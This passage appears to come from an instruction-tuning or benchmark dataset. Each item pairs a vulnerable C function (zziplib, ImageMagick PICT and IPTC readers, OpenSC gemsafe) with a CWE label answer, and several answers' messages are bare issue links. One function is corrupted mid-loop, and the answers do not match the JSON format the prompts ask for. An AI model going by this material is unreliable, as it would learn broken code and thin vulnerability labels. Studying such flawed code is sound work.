zz_entries) {\n if (zz_offset + 256 < zz_rootsize) {\n FAIL4(\"%li's entry is long before the end of directory - enable modulo_entries? (O:%li R:%li)\",\n (long) entries, (long) (zz_offset), (long) zz_rootsize);\n }\n break;\n }\n# endif\n\n if (fd_map)\n {\n d = (void*)(fd_map+zz_fd_gap+zz_offset); /* fd_map+fd_gap==u_rootseek */\n } else\n {\n if (io->fd.seeks(fd, zz_rootseek + zz_offset, SEEK_SET) < 0)\n return ZZIP_DIR_SEEK;\n if (io->fd.read(fd, &dirent, sizeof(dirent)) < __sizeof(dirent))\n return ZZIP_DIR_READ;\n d = &dirent;\n }\n\n if ((zzip_off64_t) (zz_offset + sizeof(*d)) > zz_rootsize ||\n (zzip_off64_t) (zz_offset + sizeof(*d)) < 0)\n {\n FAIL4(\"%li's entry stretches beyond root directory (O:%li R:%li)\",\n (long) entries, (long) (zz_offset), (long) zz_rootsize);\n break;\n }\n\n if (! zzip_disk_entry_check_magic(d)) {\n# ifndef ZZIP_ALLOW_MODULO_ENTRIES\n FAIL4(\"%li's entry has no disk_entry magic indicator (O:%li R:%li)\",\n (long) entries, (long) (zz_offset), (long) zz_rootsize);\n# endif\n break;\n }\n\n# if 0 && defined DEBUG\n zzip_debug_xbuf((unsigned char *) d, sizeof(*d) + 8);\n# endif\n\n u_extras = zzip_disk_entry_get_extras(d);\n u_comment = zzip_disk_entry_get_comment(d);\n u_namlen = zzip_disk_entry_get_namlen(d);\n HINT5(\"offset=0x%lx, size %ld, dirent *%p, hdr %p\\n\",\n (long) (zz_offset + zz_rootseek), (long) zz_rootsize, d, hdr);\n\n /* writes over the read buffer, Since the structure where data is\n copied is smaller than the data in buffer this can be done.\n It is important that the order of setting the fields is considered\n when filling the structure, so that some data is not trashed in\n first structure read.\n at the end the whole copied list of structures is copied into\n newly allocated buffer */\n hdr->d_crc32 = zzip_disk_entry_get_crc32(d);\n hdr->d_csize = zzip_disk_entry_get_csize(d);\n hdr->d_usize = zzip_disk_entry_get_usize(d);\n hdr->d_off = zzip_disk_entry_get_offset(d);\n hdr->d_compr = zzip_disk_entry_get_compr(d);\n if (hdr->d_compr > _255)\n hdr->d_compr = 255;\n\n if ((zzip_off64_t) (zz_offset + sizeof(*d) + u_namlen) > zz_rootsize ||\n (zzip_off64_t) (zz_offset + sizeof(*d) + u_namlen) < 0)\n {\n FAIL4(\"%li's name stretches beyond root directory (O:%li N:%li)\",\n (long) entries, (long) (zz_offset), (long) (u_namlen));\n break;\n }\n\n if (fd_map)\n { memcpy(hdr->d_name, fd_map+zz_fd_gap + zz_offset+sizeof(*d), u_namlen); }\n else\n { io->fd.read(fd, hdr->d_name, u_namlen); }\n hdr->d_name[u_namlen] = '\\0';\n hdr->d_namlen = u_namlen;\n\n /* update offset by the total length of this entry -> next entry */\n zz_offset += sizeof(*d) + u_namlen + u_extras + u_comment;\n\n if (zz_offset > zz_rootsize)\n {\n FAIL3(\"%li's entry stretches beyond root directory (O:%li)\",\n (long) entries, (long) (zz_offset));\n entries ++;\n break;\n }\n\n HINT5(\"file %ld { compr=%d crc32=$%x offset=%d\",\n (long) entries, hdr->d_compr, hdr->d_crc32, hdr->d_off);\n HINT5(\"csize=%d usize=%d namlen=%d extras=%d\",\n hdr->d_csize, hdr->d_usize, u_namlen, u_extras);\n HINT5(\"comment=%d name='%s' %s } \",\n u_comment, hdr->d_name, \"\", (int) sizeof(*d));\n\n p_reclen = &hdr->d_reclen;\n\n {\n register char *p = (char *) hdr;\n register char *q = aligned4(p + sizeof(*hdr) + u_namlen + 1);\n *p_reclen = (uint16_t) (q - p);\n hdr = (struct zzip_dir_hdr *) q;\n }\n } /*for */\n\n if (USE_MMAP && fd_map)\n {\n HINT3(\"unmap *%p len=%li\", fd_map, (long) (zz_rootsize + zz_fd_gap));\n _zzip_munmap(io->fd.sys, fd_map, zz_rootsize + zz_fd_gap);\n }\n\n if (p_reclen)\n {\n *p_reclen = 0; /* mark end of list */\n\n if (hdr_return)\n *hdr_return = hdr0;\n } /* else zero (sane) entries */\n# ifndef ZZIP_ALLOW_MODULO_ENTRIES\n return (entries != zz_entries ? ZZIP_CORRUPTED : 0);\n# else\n return ((entries & (unsigned)0xFFFF) != zz_entries ? ZZIP_CORRUPTED : 0);\n# endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-772'], 'message': 'Avoid memory leak from __zzip_parse_root_directory().'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadPICTImage(const ImageInfo *image_info,\n ExceptionInfo *exception)\n{\n#define ThrowPICTException(exception,message) \\\n{ \\\n if (tile_image != (Image *) NULL) \\\n tile_image=DestroyImage(tile_image); \\\n if (read_info != (ImageInfo *) NULL) \\\n read_info=DestroyImageInfo(read_info); \\\n ThrowReaderException((exception),(message)); \\\n}\n\n char\n geometry[MaxTextExtent],\n header_ole[4];\n\n Image\n *image,\n *tile_image;\n\n ImageInfo\n *read_info;\n\n IndexPacket\n index;\n\n int\n c,\n code;\n\n MagickBooleanType\n jpeg,\n status;\n\n PICTRectangle\n frame;\n\n PICTPixmap\n pixmap;\n\n register IndexPacket\n *indexes;\n\n register ssize_t\n x;\n\n register PixelPacket\n *q;\n\n register ssize_t\n i;\n\n size_t\n extent,\n length;\n\n ssize_t\n count,\n flags,\n j,\n version,\n y;\n\n StringInfo\n *profile;\n\n /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n image=AcquireImage(image_info);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Read PICT header.\n */\n read_info=(ImageInfo *) NULL;\n tile_image=(Image *) NULL;\n pixmap.bits_per_pixel=0;\n pixmap.component_count=0;\n /*\n Skip header : 512 for standard PICT and 4, ie \"PICT\" for OLE2\n */\n header_ole[0]=ReadBlobByte(image);\n header_ole[1]=ReadBlobByte(image);\n header_ole[2]=ReadBlobByte(image);\n header_ole[3]=ReadBlobByte(image);\n if (!((header_ole[0] == 0x50) && (header_ole[1] == 0x49) &&\n (header_ole[2] == 0x43) && (header_ole[3] == 0x54)))\n for (i=0; i < 508; i++)\n if (ReadBlobByte(image) == EOF)\n break;\n (void) ReadBlobMSBShort(image); /* skip picture size */\n if (ReadRectangle(image,&frame) == MagickFalse)\n ThrowPICTException(CorruptImageError,\"ImproperImageHeader\");\n while ((c=ReadBlobByte(image)) == 0) ;\n if (c != 0x11)\n ThrowPICTException(CorruptImageError,\"ImproperImageHeader\");\n version=(ssize_t) ReadBlobByte(image);\n if (version == 2)\n {\n c=ReadBlobByte(image);\n if (c != 0xff)\n ThrowPICTException(CorruptImageError,\"ImproperImageHeader\");\n }\n else\n if (version != 1)\n ThrowPICTException(CorruptImageError,\"ImproperImageHeader\");\n if ((frame.left < 0) || (frame.right < 0) || (frame.top < 0) ||\n (frame.bottom < 0) || (frame.left >= frame.right) ||\n (frame.top >= frame.bottom))\n ThrowPICTException(CorruptImageError,\"ImproperImageHeader\");\n /*\n Create black canvas.\n */\n flags=0;\n image->depth=8;\n image->columns=(unsigned int) (frame.right-frame.left);\n image->rows=(unsigned int) (frame.bottom-frame.top);\n image->x_resolution=DefaultResolution;\n image->y_resolution=DefaultResolution;\n image->units=UndefinedResolution;\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n {\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n status=SetImageExtent(image,image->columns,image->rows);\n if (status != MagickFalse)\n status=ResetImagePixels(image,exception);\n if (status == MagickFalse)\n {\n InheritException(exception,&image->exception);\n return(DestroyImageList(image));\n }\n /*\n Interpret PICT opcodes.\n */\n jpeg=MagickFalse;\n for (code=0; EOFBlob(image) == MagickFalse; )\n {\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n if ((version == 1) || ((TellBlob(image) % 2) != 0))\n code=ReadBlobByte(image);\n if (version == 2)\n code=ReadBlobMSBSignedShort(image);\n if (code < 0)\n break;\n if (code == 0)\n continue;\n if (code > 0xa1)\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\"%04X:\",code);\n }\n else\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" %04X %s: %s\",code,codes[code].name,codes[code].description);\n switch (code)\n {\n case 0x01:\n {\n /*\n Clipping rectangle.\n */\n length=ReadBlobMSBShort(image);\n if (length != 0x000a)\n {\n for (i=0; i < (ssize_t) (length-2); i++)\n if (ReadBlobByte(image) == EOF)\n break;\n break;\n }\n if (ReadRectangle(image,&frame) == MagickFalse)\n ThrowPICTException(CorruptImageError,\"ImproperImageHeader\");\n if (((frame.left & 0x8000) != 0) || ((frame.top & 0x8000) != 0))\n break;\n image->columns=(size_t) (frame.right-frame.left);\n image->rows=(size_t) (frame.bottom-frame.top);\n status=SetImageExtent(image,image->columns,image->rows);\n if (status != MagickFalse)\n status=ResetImagePixels(image,&image->exception);\n if (status == MagickFalse)\n {\n InheritException(exception,&image->exception);\n return(DestroyImageList(image));\n }\n break;\n }\n case 0x12:\n case 0x13:\n case 0x14:\n {\n ssize_t\n pattern;\n\n size_t\n height,\n width;\n\n /*\n Skip pattern definition.\n */\n pattern=(ssize_t) ReadBlobMSBShort(image);\n for (i=0; i < 8; i++)\n if (ReadBlobByte(image) == EOF)\n break;\n if (pattern == 2)\n {\n for (i=0; i < 5; i++)\n if (ReadBlobByte(image) == EOF)\n break;\n break;\n }\n if (pattern != 1)\n ThrowPICTException(CorruptImageError,\"UnknownPatternType\");\n length=ReadBlobMSBShort(image);\n if (ReadRectangle(image,&frame) == MagickFalse)\n ThrowPICTException(CorruptImageError,\"ImproperImageHeader\");\n if (ReadPixmap(image,&pixmap) == MagickFalse)\n ThrowPICTException(CorruptImageError,\"ImproperImageHeader\");\n image->depth=(size_t) pixmap.component_size;\n image->x_resolution=1.0*pixmap.horizontal_resolution;\n image->y_resolution=1.0*pixmap.vertical_resolution;\n image->units=PixelsPerInchResolution;\n (void) ReadBlobMSBLong(image);\n flags=(ssize_t) ReadBlobMSBShort(image);\n length=ReadBlobMSBShort(image);\n for (i=0; i <= (ssize_t) length; i++)\n (void) ReadBlobMSBLong(image);\n width=(size_t) (frame.bottom-frame.top);\n height=(size_t) (frame.right-frame.left);\n if (pixmap.bits_per_pixel <= 8)\n length&=0x7fff;\n if (pixmap.bits_per_pixel == 16)\n width<<=1;\n if (length == 0)\n length=width;\n if (length < 8)\n {\n for (i=0; i < (ssize_t) (length*height); i++)\n if (ReadBlobByte(image) == EOF)\n break;\n }\n else\n for (i=0; i < (ssize_t) height; i++)\n {\n if (EOFBlob(image) != MagickFalse)\n break;\n if (length > 200)\n {\n for (j=0; j < (ssize_t) ReadBlobMSBShort(image); j++)\n if (ReadBlobByte(image) == EOF)\n break;\n }\n else\n for (j=0; j < (ssize_t) ReadBlobByte(image); j++)\n if (ReadBlobByte(image) == EOF)\n break;\n }\n break;\n }\n case 0x1b:\n {\n /*\n Initialize image background color.\n */\n image->background_color.red=(Quantum)\n ScaleShortToQuantum(ReadBlobMSBShort(image));\n image->background_color.green=(Quantum)\n ScaleShortToQuantum(ReadBlobMSBShort(image));\n image->background_color.blue=(Quantum)\n ScaleShortToQuantum(ReadBlobMSBShort(image));\n break;\n }\n case 0x70:\n case 0x71:\n case 0x72:\n case 0x73:\n case 0x74:\n case 0x75:\n case 0x76:\n case 0x77:\n {\n /*\n Skip polygon or region.\n */\n length=ReadBlobMSBShort(image);\n for (i=0; i < (ssize_t) (length-2); i++)\n if (ReadBlobByte(image) == EOF)\n break;\n break;\n }\n case 0x90:\n case 0x91:\n case 0x98:\n case 0x99:\n case 0x9a:\n case 0x9b:\n {\n ssize_t\n bytes_per_line;\n\n PICTRectangle\n source,\n destination;\n\n register unsigned char\n *p;\n\n size_t\n j;\n\n unsigned char\n *pixels;\n\n /*\n Pixmap clipped by a rectangle.\n */\n bytes_per_line=0;\n if ((code != 0x9a) && (code != 0x9b))\n bytes_per_line=(ssize_t) ReadBlobMSBShort(image);\n else\n {\n (void) ReadBlobMSBShort(image);\n (void) ReadBlobMSBShort(image);\n (void) ReadBlobMSBShort(image);\n }\n if (ReadRectangle(image,&frame) == MagickFalse)\n ThrowPICTException(CorruptImageError,\"ImproperImageHeader\");\n /*\n Initialize tile image.\n */\n tile_image=CloneImage(image,(size_t) (frame.right-frame.left),\n (size_t) (frame.bottom-frame.top),MagickTrue,exception);\n if (tile_image == (Image *) NULL)\n ThrowPICTException(CorruptImageError,\"ImproperImageHeader\");\n if ((code == 0x9a) || (code == 0x9b) ||\n ((bytes_per_line & 0x8000) != 0))\n {\n if (ReadPixmap(image,&pixmap) == MagickFalse)\n ThrowPICTException(CorruptImageError,\"ImproperImageHeader\");\n tile_image->depth=(size_t) pixmap.component_size;\n tile_image->matte=pixmap.component_count == 4 ?\n MagickTrue : MagickFalse;\n tile_image->x_resolution=(double) pixmap.horizontal_resolution;\n tile_image->y_resolution=(double) pixmap.vertical_resolution;\n tile_image->units=PixelsPerInchResolution;\n if (tile_image->matte != MagickFalse)\n (void) SetImageAlphaChannel(tile_image,OpaqueAlphaChannel);\n }\n if ((code != 0x9a) && (code != 0x9b))\n {\n /*\n Initialize colormap.\n */\n tile_image->colors=2;\n if ((bytes_per_line & 0x8000) != 0)\n {\n (void) ReadBlobMSBLong(image);\n flags=(ssize_t) ReadBlobMSBShort(image);\n tile_image->colors=1UL*ReadBlobMSBShort(image)+1;\n }\n status=AcquireImageColormap(tile_image,tile_image->colors);\n if (status == MagickFalse)\n ThrowPICTException(ResourceLimitError,\n \"MemoryAllocationFailed\");\n if ((bytes_per_line & 0x8000) != 0)\n {\n for (i=0; i < (ssize_t) tile_image->colors; i++)\n {\n j=ReadBlobMSBShort(image) % tile_image->colors;\n if ((flags & 0x8000) != 0)\n j=(size_t) i;\n tile_image->colormap[j].red=(Quantum)\n ScaleShortToQuantum(ReadBlobMSBShort(image));\n tile_image->colormap[j].green=(Quantum)\n ScaleShortToQuantum(ReadBlobMSBShort(image));\n tile_image->colormap[j].blue=(Quantum)\n ScaleShortToQuantum(ReadBlobMSBShort(image));\n }\n }\n else\n {\n for (i=0; i < (ssize_t) tile_image->colors; i++)\n {\n tile_image->colormap[i].red=(Quantum) (QuantumRange-\n tile_image->colormap[i].red);\n tile_image->colormap[i].green=(Quantum) (QuantumRange-\n tile_image->colormap[i].green);\n tile_image->colormap[i].blue=(Quantum) (QuantumRange-\n tile_image->colormap[i].blue);\n }\n }\n }\n if (EOFBlob(image) != MagickFalse)\n ThrowPICTException(CorruptImageError,\n \"InsufficientImageDataInFile\");\n if (ReadRectangle(image,&source) == MagickFalse)\n ThrowPICTException(CorruptImageError,\"ImproperImageHeader\");\n if (ReadRectangle(image,&destination) == MagickFalse)\n ThrowPICTException(CorruptImageError,\"ImproperImageHeader\");\n (void) ReadBlobMSBShort(image);\n if ((code == 0x91) || (code == 0x99) || (code == 0x9b))\n {\n /*\n Skip region.\n */\n length=ReadBlobMSBShort(image);\n for (i=0; i < (ssize_t) (length-2); i++)\n if (ReadBlobByte(image) == EOF)\n break;\n }\n if ((code != 0x9a) && (code != 0x9b) &&\n (bytes_per_line & 0x8000) == 0)\n pixels=DecodeImage(image,tile_image,(size_t) bytes_per_line,1,\n &extent);\n else\n pixels=DecodeImage(image,tile_image,(unsigned int) bytes_per_line,\n (unsigned int) pixmap.bits_per_pixel,&extent);\n if (pixels == (unsigned char *) NULL)\n ThrowPICTException(CorruptImageError,\"UnableToUncompressImage\");\n /*\n Convert PICT tile image to pixel packets.\n */\n p=pixels;\n for (y=0; y < (ssize_t) tile_image->rows; y++)\n {\n if (p > (pixels+extent+image->columns))\n {\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n ThrowPICTException(CorruptImageError,\"NotEnoughPixelData\");\n }\n q=QueueAuthenticPixels(tile_image,0,y,tile_image->columns,1,\n exception);\n if (q == (PixelPacket *) NULL)\n break;\n indexes=GetAuthenticIndexQueue(tile_image);\n for (x=0; x < (ssize_t) tile_image->columns; x++)\n {\n if (tile_image->storage_class == PseudoClass)\n {\n index=ConstrainColormapIndex(tile_image,*p);\n SetPixelIndex(indexes+x,index);\n SetPixelRed(q,\n tile_image->colormap[(ssize_t) index].red);\n SetPixelGreen(q,\n tile_image->colormap[(ssize_t) index].green);\n SetPixelBlue(q,\n tile_image->colormap[(ssize_t) index].blue);\n }\n else\n {\n if (pixmap.bits_per_pixel == 16)\n {\n i=(ssize_t) (*p++);\n j=(*p);\n SetPixelRed(q,ScaleCharToQuantum(\n (unsigned char) ((i & 0x7c) << 1)));\n SetPixelGreen(q,ScaleCharToQuantum(\n (unsigned char) (((i & 0x03) << 6) |\n ((j & 0xe0) >> 2))));\n SetPixelBlue(q,ScaleCharToQuantum(\n (unsigned char) ((j & 0x1f) << 3)));\n }\n else\n if (tile_image->matte == MagickFalse)\n {\n if (p > (pixels+extent+2*image->columns))\n ThrowPICTException(CorruptImageError,\n \"NotEnoughPixelData\");\n SetPixelRed(q,ScaleCharToQuantum(*p));\n SetPixelGreen(q,ScaleCharToQuantum(\n *(p+tile_image->columns)));\n SetPixelBlue(q,ScaleCharToQuantum(\n *(p+2*tile_image->columns)));\n }\n else\n {\n if (p > (pixels+extent+3*image->columns))\n ThrowPICTException(CorruptImageError,\n \"NotEnoughPixelData\");\n SetPixelAlpha(q,ScaleCharToQuantum(*p));\n SetPixelRed(q,ScaleCharToQuantum(\n *(p+tile_image->columns)));\n SetPixelGreen(q,ScaleCharToQuantum(\n *(p+2*tile_image->columns)));\n SetPixelBlue(q,ScaleCharToQuantum(\n *(p+3*tile_image->columns)));\n }\n }\n p++;\n q++;\n }\n if (SyncAuthenticPixels(tile_image,exception) == MagickFalse)\n break;\n if ((tile_image->storage_class == DirectClass) &&\n (pixmap.bits_per_pixel != 16))\n {\n p+=(pixmap.component_count-1)*tile_image->columns;\n if (p < pixels)\n break;\n }\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n tile_image->rows);\n if (status == MagickFalse)\n break;\n }\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n if ((jpeg == MagickFalse) && (EOFBlob(image) == MagickFalse))\n if ((code == 0x9a) || (code == 0x9b) ||\n ((bytes_per_line & 0x8000) != 0))\n (void) CompositeImage(image,CopyCompositeOp,tile_image,\n (ssize_t) destination.left,(ssize_t) destination.top);\n tile_image=DestroyImage(tile_image);\n break;\n }\n case 0xa1:\n {\n unsigned char\n *info;\n\n size_t\n type;\n\n /*\n Comment.\n */\n type=ReadBlobMSBShort(image);\n length=ReadBlobMSBShort(image);\n if (length == 0)\n break;\n (void) ReadBlobMSBLong(image);\n length-=MagickMin(length,4);\n if (length == 0)\n break;\n info=(unsigned char *) AcquireQuantumMemory(length,sizeof(*info));\n if (info == (unsigned char *) NULL)\n break;\n count=ReadBlob(image,length,info);\n if (count != (ssize_t) length)\n {\n info=(unsigned char *) RelinquishMagickMemory(info);\n ThrowPICTException(ResourceLimitError,\"UnableToReadImageData\");\n }\n switch (type)\n {\n case 0xe0:\n {\n profile=BlobToStringInfo((const void *) NULL,length);\n SetStringInfoDatum(profile,info);\n status=SetImageProfile(image,\"icc\",profile);\n profile=DestroyStringInfo(profile);\n if (status == MagickFalse)\n {\n info=(unsigned char *) RelinquishMagickMemory(info);\n ThrowPICTException(ResourceLimitError,\n \"MemoryAllocationFailed\");\n }\n break;\n }\n case 0x1f2:\n {\n profile=BlobToStringInfo((const void *) NULL,length);\n SetStringInfoDatum(profile,info);\n status=SetImageProfile(image,\"iptc\",profile);\n if (status == MagickFalse)\n {\n info=(unsigned char *) RelinquishMagickMemory(info);\n ThrowPICTException(ResourceLimitError,\n \"MemoryAllocationFailed\");\n }\n profile=DestroyStringInfo(profile);\n break;\n }\n default:\n break;\n }\n info=(unsigned char *) RelinquishMagickMemory(info);\n break;\n }\n default:\n {\n /*\n Skip to next op code.\n */\n if (codes[code].length == -1)\n (void) ReadBlobMSBShort(image);\n else\n for (i=0; i < (ssize_t) codes[code].length; i++)\n if (ReadBlobByte(image) == EOF)\n break;\n }\n }\n }\n if (code == 0xc00)\n {\n /*\n Skip header.\n */\n for (i=0; i < 24; i++)\n if (ReadBlobByte(image) == EOF)\n break;\n continue;\n }\n if (((code >= 0xb0) && (code <= 0xcf)) ||\n ((code >= 0x8000) && (code <= 0x80ff)))\n continue;\n if (code == 0x8200)\n {\n char\n filename[MaxTextExtent];\n\n FILE\n *file;\n\n int\n unique_file;\n\n /*\n Embedded JPEG.\n */\n jpeg=MagickTrue;\n read_info=CloneImageInfo(image_info);\n SetImageInfoBlob(read_info,(void *) NULL,0);\n file=(FILE *) NULL;\n unique_file=AcquireUniqueFileResource(filename);\n (void) FormatLocaleString(read_info->filename,MaxTextExtent,\"jpeg:%s\",\n filename);\n if (unique_file != -1)\n file=fdopen(unique_file,\"wb\");\n if ((unique_file == -1) || (file == (FILE *) NULL))\n {\n (void) RelinquishUniqueFileResource(read_info->filename);\n (void) CopyMagickString(image->filename,read_info->filename,\n MaxTextExtent);\n ThrowPICTException(FileOpenError,\"UnableToCreateTemporaryFile\");\n }\n length=ReadBlobMSBLong(image);\n if (length > 154)\n {\n for (i=0; i < 6; i++)\n (void) ReadBlobMSBLong(image);\n if (ReadRectangle(image,&frame) == MagickFalse)\n {\n (void) fclose(file);\n (void) RelinquishUniqueFileResource(read_info->filename);\n ThrowPICTException(CorruptImageError,\"ImproperImageHeader\");\n }\n for (i=0; i < 122; i++)\n if (ReadBlobByte(image) == EOF)\n break;\n for (i=0; i < (ssize_t) (length-154); i++)\n {\n c=ReadBlobByte(image);\n if (c == EOF)\n break;\n (void) fputc(c,file);\n }\n }\n (void) fclose(file);\n (void) close(unique_file);\n tile_image=ReadImage(read_info,exception);\n (void) RelinquishUniqueFileResource(filename);\n read_info=DestroyImageInfo(read_info);\n if (tile_image == (Image *) NULL)\n continue;\n (void) FormatLocaleString(geometry,MaxTextExtent,\"%.20gx%.20g\",\n (double) MagickMax(image->columns,tile_image->columns),\n (double) MagickMax(image->rows,tile_image->rows));\n (void) SetImageExtent(image,\n MagickMax(image->columns,tile_image->columns),\n MagickMax(image->rows,tile_image->rows));\n (void) TransformImageColorspace(image,tile_image->colorspace);\n (void) CompositeImage(image,CopyCompositeOp,tile_image,(ssize_t)\n frame.left,(ssize_t) frame.right);\n image->compression=tile_image->compression;\n tile_image=DestroyImage(tile_image);\n continue;\n }\n if ((code == 0xff) || (code == 0xffff))\n break;\n if (((code >= 0xd0) && (code <= 0xfe)) ||\n ((code >= 0x8100) && (code <= 0xffff)))\n {\n /*\n Skip reserved.\n */\n length=ReadBlobMSBShort(image);\n for (i=0; i < (ssize_t) length; i++)\n if (ReadBlobByte(image) == EOF)\n break;\n continue;\n }\n if ((code >= 0x100) && (code <= 0x7fff))\n {\n /*\n Skip reserved.\n */\n length=(size_t) ((code >> 7) & 0xff);\n for (i=0; i < (ssize_t) length; i++)\n if (ReadBlobByte(image) == EOF)\n break;\n continue;\n }\n }\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-252'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1199'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int formatIPTCfromBuffer(Image *ofile, char *s, ssize_t len)\n{\n char\n temp[MaxTextExtent];\n\n unsigned int\n foundiptc,\n tagsfound;\n\n unsigned char\n recnum,\n dataset;\n\n unsigned char\n *readable,\n *str;\n\n ssize_t\n tagindx,\n taglen;\n\n int\n i,\n tagcount = (int) (sizeof(tags) / sizeof(tag_spec));\n\n int\n c;\n\n foundiptc = 0; /* found the IPTC-Header */\n tagsfound = 0; /* number of tags found */\n\n while (len > 0)\n {\n c = *s++; len--;\n if (c == 0x1c)\n foundiptc = 1;\n else\n {\n if (foundiptc)\n return -1;\n else\n continue;\n }\n /*\n We found the 0x1c tag and now grab the dataset and record number tags.\n */\n c = *s++; len--;\n if (len < 0) return -1;\n dataset = (unsigned char) c;\n c = *s++; len--;\n if (len < 0) return -1;\n recnum = (unsigned char) c;\n /* try to match this record to one of the ones in our named table */\n for (i=0; i< tagcount; i++)\n if (tags[i].id == (short) recnum)\n break;\n if (i < tagcount)\n readable=(unsigned char *) tags[i].name;\n else\n readable=(unsigned char *) \"\";\n /*\n We decode the length of the block that follows - ssize_t or short fmt.\n */\n c=(*s++);\n len--;\n if (len < 0)\n return(-1);\n if (c & (unsigned char) 0x80)\n return(0);\n else\n {\n s--;\n len++;\n taglen=readWordFromBuffer(&s, &len);\n }\n if (taglen < 0)\n return(-1);\n if (taglen > 65535)\n return(-1);\n /* make a buffer to hold the tag datand snag it from the input stream */\n str=(unsigned char *) AcquireQuantumMemory((size_t) (taglen+MaxTextExtent),\n sizeof(*str));\n if (str == (unsigned char *) NULL)\n return 0;\n for (tagindx=0; tagindx 0)\n (void) FormatLocaleString(temp,MaxTextExtent,\"%d#%d#%s=\",\n (unsigned int) dataset,(unsigned int) recnum, readable);\n else\n (void) FormatLocaleString(temp,MaxTextExtent,\"%d#%d=\",\n (unsigned int) dataset,(unsigned int) recnum);\n (void) WriteBlobString(ofile,temp);\n formatString( ofile, (char *)str, taglen );\n str=(unsigned char *) RelinquishMagickMemory(str);\n\n tagsfound++;\n }\n return ((int) tagsfound);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-772'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1118'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int gemsafe_get_cert_len(sc_card_t *card)\n{\n\tint r;\n\tu8 ibuf[GEMSAFE_MAX_OBJLEN];\n\tu8 *iptr;\n\tstruct sc_path path;\n\tstruct sc_file *file;\n\tsize_t objlen, certlen;\n\tunsigned int ind, i=0;\n\n\tsc_format_path(GEMSAFE_PATH, &path);\n\tr = sc_select_file(card, &path, &file);\n\tif (r != SC_SUCCESS || !file)\n\t\treturn SC_ERROR_INTERNAL;\n\n\t/* Initial read */\n\tr = sc_read_binary(card, 0, ibuf, GEMSAFE_READ_QUANTUM, 0);\n\tif (r < 0)\n\t\treturn SC_ERROR_INTERNAL;\n\n\t/* Actual stored object size is encoded in first 2 bytes\n\t * (allocated EF space is much greater!)\n\t */\n\tobjlen = (((size_t) ibuf[0]) << 8) | ibuf[1];\n\tsc_log(card->ctx, \"Stored object is of size: %\"SC_FORMAT_LEN_SIZE_T\"u\",\n\t objlen);\n\tif (objlen < 1 || objlen > GEMSAFE_MAX_OBJLEN) {\n\t sc_log(card->ctx, \"Invalid object size: %\"SC_FORMAT_LEN_SIZE_T\"u\",\n\t\t objlen);\n\t return SC_ERROR_INTERNAL;\n\t}\n\n\t/* It looks like the first thing in the block is a table of\n\t * which keys are allocated. The table is small and is in the\n\t * first 248 bytes. Example for a card with 10 key containers:\n\t * 01 f0 00 03 03 b0 00 03 <= 1st key unallocated\n\t * 01 f0 00 04 03 b0 00 04 <= 2nd key unallocated\n\t * 01 fe 14 00 05 03 b0 00 05 <= 3rd key allocated\n\t * 01 fe 14 01 06 03 b0 00 06 <= 4th key allocated\n\t * 01 f0 00 07 03 b0 00 07 <= 5th key unallocated\n\t * ...\n\t * 01 f0 00 0c 03 b0 00 0c <= 10th key unallocated\n\t * For allocated keys, the fourth byte seems to indicate the\n\t * default key and the fifth byte indicates the key_ref of\n\t * the private key.\n\t */\n\tind = 2; /* skip length */\n\twhile (ibuf[ind] == 0x01) {\n\t\tif (ibuf[ind+1] == 0xFE) {\n\t\t\tgemsafe_prkeys[i].ref = ibuf[ind+4];\n\t\t\tsc_log(card->ctx, \"Key container %d is allocated and uses key_ref %d\",\n\t\t\t\t\ti+1, gemsafe_prkeys[i].ref);\n\t\t\tind += 9;\n\t\t}\n\t\telse {\n\t\t\tgemsafe_prkeys[i].label = NULL;\n\t\t\tgemsafe_cert[i].label = NULL;\n\t\t\tsc_log(card->ctx, \"Key container %d is unallocated\", i+1);\n\t\t\tind += 8;\n\t\t}\n\t\ti++;\n\t}\n\n\t/* Delete additional key containers from the data structures if\n\t * this card can't accommodate them.\n\t */\n\tfor (; i < gemsafe_cert_max; i++) {\n\t\tgemsafe_prkeys[i].label = NULL;\n\t\tgemsafe_cert[i].label = NULL;\n\t}\n\n\t/* Read entire file, then dissect in memory.\n\t * Gemalto ClassicClient seems to do it the same way.\n\t */\n\tiptr = ibuf + GEMSAFE_READ_QUANTUM;\n\twhile ((size_t)(iptr - ibuf) < objlen) {\n\t\tr = sc_read_binary(card, iptr - ibuf, iptr,\n\t\t\t\t MIN(GEMSAFE_READ_QUANTUM, objlen - (iptr - ibuf)), 0);\n\t\tif 